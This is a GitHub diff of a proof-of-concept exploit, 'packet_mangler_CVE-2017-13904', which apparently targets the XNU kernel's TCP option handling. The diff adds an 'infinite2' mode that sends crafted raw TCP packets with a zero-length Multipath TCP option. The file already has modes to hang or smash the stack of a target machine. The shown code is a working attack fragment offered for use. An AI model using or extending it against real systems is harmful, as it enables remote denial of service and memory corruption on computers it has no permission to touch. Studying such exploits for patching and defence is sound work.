File tree Expand file tree Collapse file tree
apple/darwin-xnu/packet_mangler_CVE-2017-13904 Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1515#include <netinet/ip.h>
1616#include <arpa/inet.h>
1717
18+ #define TCP_OPT_MULTIPATH_TCP 30
19+
1820// 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
1921struct pseudo_header
2022{
@@ -56,6 +58,7 @@ unsigned short csum(unsigned short *ptr, int nbytes)
5658
5759enum Mode {
5860 InfiniteLoopMode ,
61+ InfiniteLoopMode2 ,
5962 SmashStackMode
6063};
6164
@@ -83,6 +86,9 @@ int main(int argc, char* argv[])
8386
8487 if (strcmp (argv [3 ], "infinite" ) == 0 ) {
8588 mode = InfiniteLoopMode ;
89+ } else if (strcmp (argv [3 ], "infinite2" ) == 0 ) {
90+ mode = InfiniteLoopMode2 ;
91+ printf ("infinite2\n" );
8692 } else if (strcmp (argv [3 ], "smashstack" ) == 0 ) {
8793 mode = SmashStackMode ;
8894 payloadsize = 1000 ;
@@ -117,9 +123,12 @@ int main(int argc, char* argv[])
117123 data = datagram + sizeof (struct iphdr ) + sizeof (struct tcphdr );
118124 memset (data , 1 , payloadsize );
119125
120- if (mode != SmashStackMode ) {
126+ if (mode == InfiniteLoopMode ) {
121127 data [0 ] = 2 ;
122128 data [1 ] = 0 ;
129+ } else if (mode == InfiniteLoopMode2 ) {
130+ data [0 ] = TCP_OPT_MULTIPATH_TCP ;
131+ data [1 ] = 0 ;
123132 }
124133
125134 // some address resolution
You can’t perform that action at this time.
0 commit comments